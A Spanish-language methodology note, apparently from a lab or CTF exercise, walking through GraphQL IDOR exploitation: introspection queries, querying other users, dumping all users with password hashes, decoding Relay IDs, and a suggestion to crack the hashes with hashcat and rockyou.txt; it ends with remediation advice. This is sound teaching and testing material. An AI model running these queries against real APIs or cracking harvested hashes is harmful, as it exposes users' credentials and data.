GraphQL — IDOR (Insecure Direct Object Reference)
Para identificar problemas de autorización defectuosa en una API GraphQL, primero hay que identificar puntos de la aplicación que permitan acceder a datos para los que no se tiene autorización explícita. Enumerando la aplicación web (por ejemplo, capturando el tráfico al acceder al propio perfil de usuario), a menudo se descubre una query GraphQL que revela más de lo esperado si se le agregan campos o se modifican sus argumentos.
Flujo de explotación paso a paso
1. Identificar el tipo relevante vía introspección
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}- Ver
graphql_information_disclosure.mdpara el detalle completo de técnicas de introspección — este documento asume que ya se identificó el tipo/campos de interés.
2. Consultar directamente el objeto de otro usuario
Si la query user acepta un argumento username, se puede consultar el perfil de cualquier usuario simplemente cambiando el valor, sin que la aplicación valide si el solicitante tiene autorización sobre ese usuario específico:
{
user(username: "test") {
username
password
}
}- Este es el patrón central de IDOR en GraphQL: la query en sí no distingue "mi propio perfil" de "el perfil de cualquier otro" — la única protección posible sería una validación server-side que compare el
usernamesolicitado contra el usuario de la sesión autenticada, algo que frecuentemente se omite.
3. Descubrir los argumentos disponibles de cada query
{
__schema {
queryType {
fields {
name
args {
name
type {
name
}
}
type {
name
kind
}
}
}
}
}{
"data": {
"__schema": {
"queryType": {
"fields": [
{ "name": "node", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "Node", "kind": "INTERFACE" } },
{ "name": "secrets", "args": [], "type": { "name": null, "kind": "LIST" } },
{ "name": "users", "args": [], "type": { "name": null, "kind": "LIST" } },
{ "name": "posts", "args": [], "type": { "name": null, "kind": "LIST" } },
{ "name": "user", "args": [{ "name": "username", "type": { "name": null } }], "type": { "name": "UserObject", "kind": "OBJECT" } },
{ "name": "postByAuthor", "args": [{ "name": "author", "type": { "name": null } }], "type": { "name": null, "kind": "LIST" } },
{ "name": "post", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "PostObject", "kind": "OBJECT" } }
]
}
}
}
}- Aquí se confirma que
useracepta un argumentousername— el candidato directo a IDOR mostrado en el paso 2. - Igualmente relevante: la query
users(plural, sin argumentos) sugiere que devuelve todos los usuarios de una sola vez, sin necesidad siquiera de iterar nombres — el vector de mayor impacto si está disponible.
4. Confirmar los campos completos del objeto objetivo
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}{
"data": {
"__type": {
"name": "UserObject",
"fields": [
{ "name": "uuid", "type": { "name": null, "kind": "NON_NULL" } },
{ "name": "id", "type": { "name": null, "kind": "NON_NULL" } },
{ "name": "username", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "password", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "role", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "msg", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "posts", "type": { "name": "PostObjectConnection", "kind": "OBJECT" } }
]
}
}
}5. Explotación final: volcar todos los usuarios con todos los campos sensibles
Con la query users (sin autenticación adicional ni filtrado por argumento) y todos los campos confirmados en el paso anterior, se puede pedir todo de una sola vez:
{
users {
id
uuid
username
role
msg
password
}
}{
"data": {
"users": [
{
"id": "VXNlck9iamVjdDox",
"uuid": "1",
"username": "jsmith",
"role": "user",
"msg": "Welcome!",
"password": "c874441baa22306df202ca127f23d3a7"
},
{
"id": "VXNlck9iamVjdDoy",
"uuid": "2",
"username": "test",
"role": "user",
"msg": "Test",
"password": "b4574701cdf945940353b356925dddb7"
},
{
"id": "VXNlck9iamVjdDoz",
"uuid": "3",
"username": "admin",
"role": "admin",
"msg": "Hello admin!",
"password": "FLAG{******}"
}
]
}
}- Este es el ejemplo canónico de por qué "seguridad por oscuridad de la interfaz" no funciona en GraphQL: aunque la interfaz web oficial nunca solicite el campo
passworden su propia query interna, el schema del backend sigue exponiéndolo, y GraphQL permite al cliente pedir cualquier campo definido en el schema independientemente de lo que la interfaz "oficial" pida normalmente. - Los valores de
passwordparecen hashes (probablemente MD5, dado el formato de 32 caracteres hexadecimales) — el siguiente paso natural sería intentar crackearlos offline conhashcat -m 0contra un diccionario comorockyou.txt.
Decodificación de IDs globales (Relay-style)
Los valores de id codificados en Base64 (VXNlck9iamVjdDox) siguen la convención de Relay, combinando el nombre del tipo y el ID interno separados por ::
❯ echo 'VXNlck9iamVjdDox' | base64 -d
UserObject:1- Decodificar estos IDs puede revelar directamente la estructura interna de la base de datos (nombres de tabla reales), útil tanto para entender mejor el schema como para intentar referenciar objetos por ID en vez de por
usernameen otras queries que sí acepten un argumentoid.
Notas de metodología
- Priorizar queries en plural (
users,posts,orders) sobre las singulares (user,post) al buscar IDOR — las plurales a menudo devuelven el conjunto completo sin ningún filtrado por autorización, mientras que las singulares al menos requieren adivinar/enumerar un identificador. - Probar sistemáticamente cada campo del tipo objetivo, no solo los que la interfaz oficial usa — el ejemplo de
passwordexpuesto en el schema mientras la UI nunca lo solicita es el patrón más común de hallazgo en la práctica. - Documentar el hallazgo indicando explícitamente qué campos deberían estar protegidos y no lo están, ya que la remediación correcta es implementar control de acceso a nivel de resolver (la función que resuelve cada campo individual en el backend), no simplemente ocultar el campo de la documentación pública.